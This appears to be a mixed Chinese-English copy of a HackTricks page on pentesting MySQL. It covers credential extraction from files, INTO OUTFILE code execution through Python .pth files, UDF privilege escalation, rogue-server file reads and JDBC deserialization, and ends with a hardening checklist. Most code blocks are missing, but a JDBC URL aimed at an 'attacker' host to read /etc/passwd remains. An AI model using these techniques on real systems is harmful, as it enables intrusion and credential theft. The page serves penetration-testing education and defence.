3306 - Mysql
💡 学习提示: 本文档介绍 Mysql 的渗透测试方法,适合信息安全初学者和从业人员参考。
⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
3306 - 渗透测试 Mysql
基本信息
MySQL can be described as an open source Relational 数据库 Management System (RDBMS) that is available at no cost. It operates on the Structured Query Language (SQL), enabling the management and manipulation of databases.
默认 port: 3306
Connect
Local
Remote
External 信息收集
Some of the enumeration actions require valid credentials
Brute force
Write any binary data
MySQL commands
MySQL Permissions 信息收集
You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
MySQL File 远程代码执行
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
INTO OUTFILE → Python .pth 远程代码执行 (site-specific configuration hooks)
Abusing the classic INTO OUTFILE primitive it is possible to obtain arbitrary code execution on targets that later run Python scripts.
- Use
INTO OUTFILEto drop a custom.pthfile inside any directory loaded automatically bysite.py(e.g..../lib/python3.10/site-packages/). - The
.pthfile can contain a single line starting withimportfollowed by arbitrary Python code which will be executed every time the interpreter starts. - When the interpreter is implicitly executed by a CGI script (for example
/cgi-bin/ml-draw.pywith shebang#!/bin/python) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as root → full pre-auth 远程代码执行).
示例 .pth payload (single line, no spaces can be included in the final SQL payload, so hex/UNHEX() or string concatenation may be required):
示例 of crafting the file through an UNION query (space characters replaced with /**/ to bypass an sscanf("%128s") space filter and keep the total length ≤128 bytes):
Important limitations & bypasses:
INTO OUTFILEcannot overwrite existing files; choose a new filename.- The file path is resolved relative to MySQL’s CWD, so prefixing with
../../helps to shorten the path and bypass absolute-path restrictions. - If the attacker input is extracted with
%128s(or similar) any space will truncate the payload; use MySQL comment sequences/**/or/*!*/to replace spaces. - The MySQL user running the query needs the
FILEprivilege, but in many appliances (e.g. FortiWeb) the service runs as root, giving write access almost everywhere.
After dropping the .pth, simply request any CGI handled by the python interpreter to get code execution:
The Python process will import the malicious .pth automatically and execute the shell payload.
MySQL arbitrary read file by client
Actually, when you try to load data local into a table the content of a file the MySQL or MariaDB server asks the client to read it and send the content. Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.
Please notice that this is the behaviour using:
(Notice the “local” word)
Because without the “local” you can get:
Initial PoC: https://github.com/allyshka/Rogue-MySql-服务器
In this paper you can see a complete description of the attack and even how to extend it to 远程代码执行: https://paper.seebug.org/1113/
Here you can find an overview of the attack: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
POST
Mysql User
It will be very interesting if mysql is running as root:
Dangerous Settings of mysqld.cnf
In the configuration of MySQL services, various settings are employed to define its operation and security measures:
- The
usersetting is utilized for designating the user under which the MySQL service will be executed. passwordis applied for establishing the password associated with the MySQL user.admin_addressspecifies the IP address that listens for TCP/IP connections on the administrative network interface.- The
debugvariable is indicative of the present debugging configurations, including sensitive information within logs. sql_warningsmanages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.- With
secure_file_priv, the scope of data import and export operations is constrained to enhance security.
Privilege escalation
提权 via library
If the mysql server is running as root (or a different more privileged user) you can make it execute commands. For that, you need to use user defined functions. And to create a user defined you will need a library for the OS that is running mysql.
The malicious library to use can be found inside sqlmap and inside metasploit by doing locate "*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones, choose the one you need.
If you don’t have those libraries, you can either look for them, or download this linux C code and compile it inside the linux vulnerable machine:
Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:
Linux
Windows
Windows tip: create directories with NTFS ADS from SQL
On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a plugin directory but it doesn’t exist and @@plugin_dir is unknown or locked down, you can create it first with ::$INDEX_ALLOCATION:
This turns limited SELECT ... INTO OUTFILE into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
Extracting MySQL credentials from files
Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-maint
You can use these credentials to login in the mysql database.
Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL users (the ones that you can extract from mysql.user inside the database).
You can extract them doing:
Enabling logging
You can enable logging of mysql queries inside /etc/mysql/my.cnf uncommenting the following lines:
Useful files
配置 Files
- windows *
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- <InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- ~/.my.cnf
- /etc/my.cnf
- my.cnf
- Command History
- ~/.mysql.history
- Log Files
- connections.log
- update.log
- common.log
默认 MySQL 数据库/Tables
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user
accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread
host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency
HackTricks Automatic Commands
2023-2025 Highlights (new)
JDBC propertiesTransform deserialization (CVE-2023-21971)
From Connector/J <= 8.0.32 an attacker who can influence the JDBC URL (for instance in third-party software that asks for a connection string) can request arbitrary classes to be loaded on the client side via the propertiesTransform parameter. If a gadget present on the class-path is loadable this results in remote code execution in the context of the JDBC client (pre-auth, because no valid credentials are required). A minimal PoC looks like:
Running Evil.class can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set propertiesTransform on an allow-list.
(See Snyk write-up for details)
Rogue / Fake MySQL server attacks against JDBC clients
Several open-source tools implement a partial MySQL protocol in order to attack JDBC clients that connect outwards:
- mysql-fake-server (Java, supports file read and deserialization exploits)
- rogue_mysql_server (Python, similar capabilities)
Typical attack paths:
- Victim application loads
mysql-connector-jwithallowLoadLocalInfile=trueorautoDeserialize=true. - Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control.
- Malicious server responds with crafted packets that trigger either
LOCAL INFILEarbitrary file read or Java deserialization → 远程代码执行.
示例 one-liner to start a fake server (Java):
Then point the victim application to jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true and read /etc/passwd by encoding the filename as base64 in the username field (fileread_/etc/passwd → base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).
Cracking caching_sha2_password hashes
MySQL ≥ 8.0 stores password hashes as $mysql-sha2$ (SHA-256). Both Hashcat (mode 21100) and John-the-Ripper (--format=mysql-sha2) support offline cracking since 2023. Dump the authentication_string column and feed it directly:
Hardening checklist (2025)
• Set LOCAL_INFILE=0 and --secure-file-priv=/var/empty to kill most file-read/write primitives.
• Remove the FILE privilege from application accounts.
• On Connector/J set allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (empty).
• Disable unused authentication plugins and require TLS (require_secure_transport = ON).
• Monitor for CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL and sudden SET GLOBAL statements.
